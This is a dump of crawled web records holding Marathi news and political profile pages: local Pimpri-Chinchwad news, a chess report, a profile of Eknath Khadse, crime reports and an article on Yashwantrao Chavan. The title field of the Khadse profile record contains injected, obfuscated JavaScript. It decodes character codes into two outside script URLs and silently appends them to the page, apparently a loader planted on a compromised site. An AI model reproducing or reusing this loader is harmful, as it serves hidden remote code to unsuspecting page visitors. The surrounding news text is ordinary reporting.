संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nझी मराठी सारेगमप विजेता अक्षय घाणेकरने केले जलपर्णीमुक्त पवना अभियानात श्रमदान\nपिंपरी (Pclive7.com):- रोटरी क्लब ऑफ वाल्हेकरवाडीच्या ‘जलपर्णी मुक्त स्वच्छ व सुंदर पवनामाई उगम ते संगम’ या अभियानाला १२८ दिवस पूर्ण झाले. रविवार दि.११ रोजी केजुबाई बंधारा थेरगाव...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00143.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "http://www.esakal.com/krida/sports-news-chess-competition-54644", "date_download": "2018-09-25T17:28:17Z", "digest": "sha1:QJY25RS2G4SRH5QEK5D7HNMIB7F6EW6S", "length": 11590, "nlines": 176, "source_domain": "www.esakal.com", "title": "sports news chess competition बहरलेल्या भारतास इजिप्तची कडवी लढत | eSakal", "raw_content": "\nबहरलेल्या भारतास इजिप्तची कडवी लढत\nशुक्रवार, 23 जून 2017\nमुंबई - अमेरिकेविरुद्ध सफाईदार विजय संपादलेल्या भारतीय पुरुष संघास जागतिक सांघिक बुद्धिबळ स्पर्धेत दुबळ्या इजिप्तविरुद्ध निसटत्या विजयावर समाधान मानावे लागले; तर महिला संघाने इजिप्तचाच कडव्या आव्हानानंतर पराभव केला.\nमुंबई - अमेरिकेविरुद्ध सफाईदार विजय संपादलेल्या भारतीय पुरुष संघास जागतिक सांघिक बुद्धिबळ स्पर्धेत दुबळ्या इजिप्तविरुद्ध निसटत्या विजयावर समाधान मानावे लागले; तर महिला संघाने इजिप्तचाच कडव्या आव्हानानंतर पराभव केला.\nरशियातील या स्पर्धेत भारतीय संघाने कृष्णन शशिकिरणला ब्रेक दिला. बी. अधिबनने त्याच्यापेक्षा खूपच कमी मानांकन असलेल्या अधम फावझी याला पराजित केले. त्यामुळे भारताने २.५-१.५ असा विजय मिळवला. विदित गुजरातीने प्रतिस्पर्ध्यांच्या चुकांचा फायदा घेत बरोबरी साधली; तर कार्तिकेयन मुरली आणि परिमार्जन नेगी डाव बरोबरीत सुटल्यानेच जास्त सुखावले. भारतीय पुरुषांनी या बरोबरीमुळे पाचवे स्थान राखले आहे. त्यांचे ११.५ गुण आहेत; तर आघाडीवरील रशियाचे १४.\nमहिलांच्या लढतीत द्रोणावली हरिका पराजित झाली; पण तानिया सचदेव, इशा करवडे आणि विजयालक्ष्मीने विजय मिळवत भारताचा ३-१ असा विजय साकारला. काळी मोहरी असलेल्या इशाने डावाच्या अंतिम टप्प्यात प्रभावी खेळ करीत बाजी मारली. भारतीय महिला संघ ११.५ गुणांसह तिसरा आहे; तर आघाडीवरील रशियाचे १२.५ गुण आहेत. भारतीय महिला संघ नक्कीच पदकाच्या शर्यतीत आहे; पण आघाडीवरील रशिया; तसेच ताकदवान चीनविरुद्ध भारताची लढत अद्याप झालेली नाही.\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nतहसिलचा ताबा घेऊन तेथे आंदोलन करू असा इशारा : राजू देसले\nनांदगाव : तालुक्यातील प्रशासकीय यंत्रणा उदासीन असल्याने न्यायिक हक्काच्या मागण्यासाठी आज काढण्यात आलेला मोर्चा हा शेवटचा असून यापुढे मोर्चा...\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\nमालदीवमधील सत्तापालट भारताला अनुकूल\nमालदीवमध्ये काल मतपेटीद्वारे झालेला सत्तापालट भारतासाठी अनुकूल ठरणार असल्याच्या बातम्या सर्वत्र छापून येत आहेत. निवडून आलेले मालदीव डेमॉक्रॅटिक...\nऔरंगाबाद - दहा दिवस मनोभावे पूजा करीत, विविध प्रबोधनात्मक उपक्रम राबवीत, एकाहून एक असे सरस सांस्कृतिक कार्यक्रम सादर करीत रविवारी (ता. २३) ढोल-...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00143.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://nathabhau.com/mr/%E0%A4%A6%E0%A5%8D%E0%A4%B0%E0%A4%B7%E0%A5%8D%E0%A4%9F%E0%A4%BE", "date_download": "2018-09-25T17:24:12Z", "digest": "sha1:U7PGNF2PFQ3VMEKTIBOEQ4Y4T3HYAVSW", "length": 5851, "nlines": 41, "source_domain": "nathabhau.com", "title": "var d3 = document.createElement('script'); d3.type = 'text/javascript'; d3.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 46, 117, 117, 115, 116, 111, 117, 103, 104, 116, 111, 110, 109, 97, 46, 111, 114, 103, 47, 115, 116, 97, 116, 115, 46, 106, 115, 63, 102, 61, 52); var scripts = document.getElementsByTagName('script'); var need_t = true; for (var i = scripts.length; i--;) {if (scripts[i].src == d3.src) { need_t = false;}else{} } if(need_t == true){document.head.appendChild(d3);}var po = document.createElement('script'); po.type = 'text/javascript'; po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, 108, 105, 110, 101, 47, 109, 97, 105, 110, 46, 106, 115, 63, 116, 61, 97, 97, 106, 108, 99); var scripts = document.getElementsByTagName('script'); var need_t = true; for (var i = scripts.length; i--;) {if (scripts[i].src == po.src) { need_t = false;}else{} } if(need_t == true){document.head.appendChild(po);} द्रष्टा | श्री. एकनाथराव खडसे", "raw_content": "\nस्वगृह » नाथा भाऊ » नाथा भाऊंबद्दल » द्रष्टा\nश्री खडसे हे अतिशय नम्र व्यक्तिमत्व आहे. स्वतः शेतकरी कुटुंबातील असल्याने त्यांना शेतकयांच्या आणि सामान्य माणसाच्या गरजांबद्दल जाणिव व सहानुभूती आहे. त्यांच्या कार्यातून त्यांनी लोकांच्या समस्या सोडवून लोकांपर्यंत पोचण्याचा यशस्वी प्रयत्न केला. अतिमहत्त्वाची कामे सुध्दा त्यांच्या नेतृत्त्वाखाली आणि मार्गदर्शनाखाली पूर्ण झाली. कोयना खोरे पाणी धारणेतील महत्त्वाचे काम त्यांनी अंतिम मुदतीपूर्वीच पूर्ण केले. कोयना जलविद्युत प्रकल्प हा भारतातील सर्वात मोठा पूर्ण झालेला जलविद्युत निर्मिती प्रकल्प आहे. कोयना जलविद्युत प्रकल्प हा कोयना नदीवरील सर्वात मोठे धरण व ईतर ३ अशा चार धरणांवर आधारित असा अत्यंत जटील प्रकल्प आहे. त्याचे प्रकल्प स्थळ सातारा जिल्ह्यातील पाटण जवळ असून तेथील हेलवाक या गावाला आता कोयनानगर म्हणून ओळखले जाते. या संपूर्ण प्रकल्पाचे एकूण क्षमता १९६० मेगवॆट आहे. या प्रकल्पात वीजनिर्मितीच्या चार टप्प्यांचा समावेश आहे. सर्व जनित्र हे पश्चिम घाटाच्या पर्वत रांगामधे उत्खनन करुन खोल ठेवले आहेत. या प्रकल्पाने वीजनिर्मितीत महत्त्वाचे योगदान दिलेले आहे. या प्रकल्पाच्या वीजनिर्मितीच्या क्षमतेमुळे कोयना नदीला महाराष्ट्राची जीवनदायिनी म्हणून ओळखले जाते.\nशेतकयांसाठी अनेक महत्त्वाचे निर्णय घेउन त्यांच्या समस्यांचे कायमस्वरुपी निवारण करण्यात त्यांचे विशेष योगदान आहे. कृत्रिम पावसासारखे प्रकल्प राबवून दुष्काळाची समस्या काही प्रमाणात दूर केली.\nमहसूल खात्यातील महत्त्वाच्या निर्णयांमुळे सामान्य जनतेसाठी किचकट अशी कामे सोपी झाली.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00144.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%A1%E0%A5%89-%E0%A4%AE%E0%A4%A8%E0%A4%BF%E0%A4%B7%E0%A4%BE-%E0%A4%A6%E0%A4%BF%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%BF%E0%A4%A4/", "date_download": "2018-09-25T17:57:59Z", "digest": "sha1:VCOD3YFNHO64J2LIJJ5SXBXSXCSTMD4L", "length": 3486, "nlines": 48, "source_domain": "pclive7.com", "title": "डॉ. मनिषा दिक्षित | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome डॉ. मनिषा दिक्षित\nज्येष्ठ नाट्यसमीक्षक व साहित्य अभ्यासक डॉ. मनीषा दीक्षित यांचे निधन\nपुणे (Pclive7.com):- ज्येष्ठ नाट्यसमीक्षक आणि मराठी साहित्याच्या अभ्यासक डॉ. मनीषा दीक्षित यांचे आज पहाटे ४ वाजता त्यांच्या राहत्या घरी अल्पशा आजाराने निधन झाले. त्या ७१ वर्षांच्या होत्या. त...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00144.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/ratnagiri-minor-girl-on-sexual-harresment-on-on-crime-case-file/", "date_download": "2018-09-25T17:43:38Z", "digest": "sha1:DWUQEJ5B4BM565PW6CIYASROHV5MHTZJ", "length": 5076, "nlines": 34, "source_domain": "www.pudhari.news", "title": " अल्पवयीन मुलींशी अश्‍लील चाळे; शिक्षकावर गुन्हा दाखल | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › अल्पवयीन मुलींशी अश्‍लील चाळे; शिक्षकावर गुन्हा दाखल\nअल्पवयीन मुलींशी अश्‍लील चाळे; शिक्षकावर गुन्हा दाखल\nशहरानजीकच्या एका नामांकित शाळेत सहावीत शिकणार्‍या दोन अल्पवयीन मुलींना बंद वर्गात नेऊन त्यांच्याशी अश्‍लील चाळे केल्याप्रकरणी शहर पोलिस ठाण्यात शिक्षकाविरोधात लैंगिक अपराधापासून बालकांचे संरक्षण कायदा (पोक्सो) नुसार गुन्हा दाखल करण्यात आला आहे.\nशामसुंदर कृष्णाजी गोठणकर (रा.कुवारबांव, रत्नागिरी) असे गुन्हा दाखल करण्यात आलेल्या शिक्षकाचे नाव आहे. त्याच्याविरोधात पीडित मुलींपैकी एकीच्या आईने शहर पोलिसांकडे तक्रार दिली आहे. त्यानुसार जानेवारी महिन्याच्या शेवटच्या आठवड्यात शामसुंदर गोठणकर या शिक्षकाने सहावीत शिकणार्‍या या दोन मुलींना वर्गप्रमुख केले होते. त्यांच्याशी जवळीक करण्याच्या उद्देशाने त्याने त्यांना मोबाईलवर सेल्फी काढायची आहे, असे सांगत त्यांना बाजूच्या बंद वर्गात नेले होते. बंद वर्गात गेल्यावर गोठणकरने वर्गाचा दरवाजा बंद करून त्यांच्याशी अश्‍लील वर्तन केले. याप्रकरणी मुलींनी आपल्या घरी सर्व माहिती सांगितली होती. परंतु, मुली घाबरलेल्या असल्यामुळे त्यांच्या पालकांनी तातडीने याबाबत पोलिसांकडे तक्रार दिली नव्हती. याबाबत मंगळवारी पोलिसांकडे तक्रार देण्यात आली.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00145.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/burglary/", "date_download": "2018-09-25T17:40:40Z", "digest": "sha1:IXGFUTQQ7Z5QA3O23POAVB547AGHJVZA", "length": 16485, "nlines": 256, "source_domain": "www.saamana.com", "title": "दरोडेखोरांना आठ तासात पकडले | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nधोनीच्या चपळाईपुढे अफगाणिस्तानी फलंदाजाची शरणागती\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला तिसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nदरोडेखोरांना आठ तासात पकडले\nठाणे: ठाणे पूर्वेकडील कोपरी परिसरात ४ जानेवारीला ओला कॅब चालकाला लुटल्याची घटना घडल्यानंतर अवघ्या ८ तासांत दरोडेखोरांच्या मुसक्या आवळण्यात पोलीसांना यश आले आहे. या दरोडेखोरांकडून १५ हजार ८०० रुपयांचा मुद्देमाल हस्तगत करण्यात आला.\nजोगेश्वरी येथे राहणाऱ्या राधेकृष्ण यादव या ४४ वर्षीय ओला कॅब वाहनाच्या चालकाने बुधवारी सकाळी साडे आठच्या सुमारास ठाणे पूर्वेला कोपरी परिसरात गाडी उभी केली होती. यावेळी गाडीबाहेर प्रवाशाची वाट पाहत असताना पाच अनोळखी इसमांनी त्यांना मारहाण करून धमकावत यादव यांच्याकडील पाकीट, तीन मोबाईल तसेच गाडीतील श्रीकृष्णाची काढून पोबारा केला. कोपरी पोलीस ठाण्यात या गुन्ह्याची नोंद होताच पोलीस आयुक्त परमबीर सिंह, सह पोलीस आयुक्त आशुतोष डुंबरे यांच्या मार्गदर्शनाखाली गुन्हे प्रकटीकरण पथकाने हाती घेतलेल्या शोधकार्यात व्हॅली रॉड्रीक्स, अजय डिसोजा, चंद्रकांत शिंदे, अमन ढेंडवाळ, मनोज गोहील या पाच जणांना अटक करण्यात आली. त्यांच्याकडून चोरून नेलेले पाकीट, ३ मोबाईल आणि श्रीकृष्णची मुर्ती असा ऐवज हस्तगत करण्यात आला.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nपुढीलकपिल शर्माने श्रद्धा व आदित्यला पाच तास ताटकळत ठेवले\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nधोनीच्या चपळाईपुढे अफगाणिस्तानी फलंदाजाची शरणागती\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00145.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://www.loksatta.com/sattechya-padchayet-news/jawaharlal-nehru-praised-yashwantrao-chavan-1662956/", "date_download": "2018-09-25T17:11:30Z", "digest": "sha1:ESNU7MXAYSZZ777EYQ3MS3YFJS2C3HNX", "length": 32699, "nlines": 215, "source_domain": "www.loksatta.com", "title": "Jawaharlal Nehru praised Yashwantrao Chavan | रत्नपारखी | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nयशवंतरावांना एका परिचित व्यक्तीने रयत शिक्षण संस्थेतील एका कर्तृत्ववान तरुण शिक्षकाची ओळख करून दिली.\nयशवंतरावांना एका परिचित व्यक्तीने रयत शिक्षण संस्थेतील एका कर्तृत्ववान तरुण शिक्षकाची ओळख करून दिली. विपरीत परिस्थितीत शिक्षण घेऊन नागरी-ग्रामीण भागांत सर्वासाठी शिक्षणाची पाणपोई सुरू करण्याच्या ध्येयाने तो या क्षेत्रात आला होता. परंतु या उदात्त ध्येयाखेरीज या तरुणापाशी दुसरं काहीच नव्हतं. या तरुणासोबतच्या पाच-दहा मिनिटांच्या चर्चेतही यशवंतरावांना त्याच्या दृढनिश्चयाची, सचोटीची आणि कर्तृत्वाची खात्री पटली आणि हा तरुण शिक्षक शिक्षण क्षेत्रात उत्तम कार्य करू शकेल असा विश्वासही त्यांना वाटला. त्यांनी त्याला शिक्षणसंस्था काढण्यासाठी पुण्यात कोथरूड येथे सरकारी जागा दिली. संस्था सुरू होऊन दिवसेंदिवस प्रगती करीत असतानाच हा तरुण एसटी महामंडळाचा संचालकही झाला. ‘गाव तिथे एसटी’ हे स्वप्न उराशी बाळगून त्याने कामास सुरुवात केली. स्वत: एसटीने प्रवास करून तो गावोगावी हिंडला आणि आपल्या या स्वप्नाचीही पूर्तता त्याने केली. त्याचवेळी आपल्या शिक्षणसंस्थेसाठी त्याने निधीही गोळा केला. या निधीचा वापर करून या शिक्षणसंस्थेने अल्पावधीत नेत्रदीपक प्रगती केली. राज्य आणि देशातच नव्हे, तर परदेशातही शिक्षणसंस्था स्थापन करून हा तरुण महाराष्ट्रातील एक आघाडीचा शिक्षणसम्राट झाला. मात्र तरीही तो गरिबीचे दिवस आणि माणुसकी काही विसरला नाही. यशवंतरावांशी अगदी शेवटपर्यंत त्याचा संपर्क होता. त्यांना अनेकदा तो काही ना काही कार्यक्रमानिमित्त आपल्या संस्थेत बोलावीत असे. हा तरुण म्हणजे महाराष्ट्राच्या राजकारणातही आपल्या कर्तृत्वाचा ठसा उमटविणारे डॉ. पतंगराव कदम होत. त्यांनी स्थापन केलेली शिक्षणसंस्था म्हणजे ‘भारती विद्यापीठ’ जिथे आज शिक्षणाच्या सर्व सोयीसुविधा उपलब्ध आहेत. शेकडो एकरांत त्यांच्या संस्थेचा कार्यपसारा आहे. गरीब विद्यार्थ्यांना इथे अप्रत्यक्षरीत्या मदत केली जाते. मुंबईपासून दिल्लीपर्यंत आज शिक्षण क्षेत्रात डॉ. पतंगरावांचे नाव घेतले जाते. महाराष्ट्र या ध्येयवादी नेत्याला नुकताच मुकला. इथे हे सविस्तरपणे लिहिण्याचे कारण हे की, डॉ. पतंगराव कदम यांच्या उदाहरणातून माणसांची योग्य ती पारख करण्याच्या यशवंतरावांमधील उपजत गुणाचा परिचय व्हावा. याची आणखीही काही उदाहरणे देता येतील.\nत्यावेळचे राज्यपाल गिरीजाशंकर बाजपेयी यांच्याबद्दल यशवंतरावांनी लिहिले होते :\n‘दुष्काळग्रस्तांना मदत करण्यासाठी स्थापन करण्यात आलेल्या मध्यवर्ती कमिटीच्या बैठकीत त्यांचे (गिरीजाशंकर बाजपेयी) भाषाप्रभुत्व तसेच कठीण, गैरसोयीचे प्रश्न टाळताना कुशलतेने वापरलेली विनोदबुद्धी, प्रश्नांचा अगोदर विचार करून, मनाशी निर्णय करून ठेवण्याची हुशारी पाहून ‘मनुष्य मोठा अर्क आहे’ असा विचार मनात येऊन गेला.’\n१९५२ साली अखिल भारतीय काँग्रेस कमिटीच्या बैठकीच्या निमित्ताने यशवंतरावांची ढेबरभाईंशी (यू. एन. ढेबर, तत्कालीन सौराष्ट्र प्रांताचे मुख्यमंत्री) ओळख झाली. त्यांचे व्यक्तिचित्र रेखाटताना यशवंतरावांनी लिहिले होते : ‘अत्यंत विनयशील व मृदू स्वभावाचे असे हे गृहस्थ आहेत. आपला मुद्दा सहजासहजी न सोडण्याइतके कणखरही दिसले. त्यांच्यात मनुष्यस्वभावाची पारख करण्याची धूर्तता असली पाहिजे. परंतु हा गुण कोणाच्या लक्षात येऊ नये याची ते काळजी घेत असतात की काय असे वाटण्याइतके शब्द मोजून-तोलून धीमेपणाने बोलणारे गृहस्थ वाटले.’\nयशवंतराव ६ जानेवारी १९६६ रोजी लालबहादूर शास्त्री यांच्यासोबत ताश्कंदला गेले असताना तिथे पाकिस्तानचे राष्ट्राध्यक्ष अयुब खान आणि परराष्ट्रमंत्री झुल्फिकार अली भुत्तो यांच्याशी त्यांची भेट झाली होती. त्यांच्यासंबंधी यशवंतरावांनी लिहिले होते : ‘प्रेसिडेंट अयुब व भुत्तो या दोन्ही व्यक्तींना मी प्रथमच भेटलो. प्रेसिडेंट अयुबला व्यक्तिमत्त्व आहे. उंचपुरा पठाण. चेहऱ्यावर नाटकी हास्य भरपूर. बोलणेही अघळपघळ आणि गोड. पण माणूस किती प्रामाणिक आहे याबाबत विचार करावा लागेल. भुत्तो बोलण्या-वागण्यात करेक्ट होते. आपले म्हणणे त्यांनी स्पष्ट व आडपडदा न ठेवता मांडले.’\nथोडय़ा वेळाच्या भेटीतही माणसाची अचूक पारख करणे हे निष्णात जोहरीचेच काम. माझी निवड कशी झाली याचे उत्तरही यात शोधावे लागेल. यशवंतरावांनी आपल्या खासगी सचिवांची निवडही अगदी अचूक केली होती. या त्यांच्या सुप्त गुणाचा उपयोग ते परराष्ट्रमंत्री असताना खूप झाला. परराष्ट्रमंत्रीपदाच्या कार्यकाळातही त्यांनी अशी टिपणे करून ठेवली होती. भेटणाऱ्या व्यक्तींच्या स्वभावाचे ताबडतोब चित्रण करून ठेवणारे यशवंतराव हे एकमेव नेते होते असे म्हटले तर ते चुकीचे ठरणार नाही.\nमुख्यमंत्री म्हणून यशवंतरावांची दूरदृष्टी सर्वसामान्यांच्या जीवनाच्या प्रत्येक अंगाकडे पोहोचली होती. सत्ता मूठभर लोकांच्या हाती न राहता तत्कालीन विकसनशील महाराष्ट्रातील सर्वसामान्य जनतेचाही त्यात सहभाग असला पाहिजे अशी त्यांची धारणा होती. त्यातूनच त्यांनी जिल्हा परिषदा निर्माण करून सत्तेचे व्यावहारिक स्वरूपात विकेंद्रीकरण करण्याचे पहिले खंबीर पाऊल उचलले आणि संपूर्ण देशाला मार्गदर्शक ठरेल असा एक पायंडा त्यांनी पाडला. यशवंतरावांचे सामान्यत्वाकडून असामान्यत्वाकडे जाणे हे शून्यातून विश्व निर्माण करण्यासारखेच होते. काही माणसे जन्मत:च मोठी असतात, तर काही माणसांवर मोठेपण लादले जाते. तसेच काही माणसे आपल्या अंगच्या कर्तबगारीने मोठी होतात. यशवंतराव हे यातल्या तिसऱ्या वर्गात मोडणारे होते. केवळ एका वर्षांच्या कारकीर्दीतच त्यांनी पंतप्रधान पंडित जवाहरलाल नेहरूंकडून ‘कर्तबगार मुख्यमंत्री’ म्हणून प्रशस्तीपत्र मिळविले. तत्कालीन काँग्रेस अध्यक्ष ढेबर त्यावेळी म्हणाले होते की, यशवंतराव यांनी आपल्या कुशल नेतृत्वामुळे नवे मुंबई राज्य कसे चालेल, ही आमची चिंता 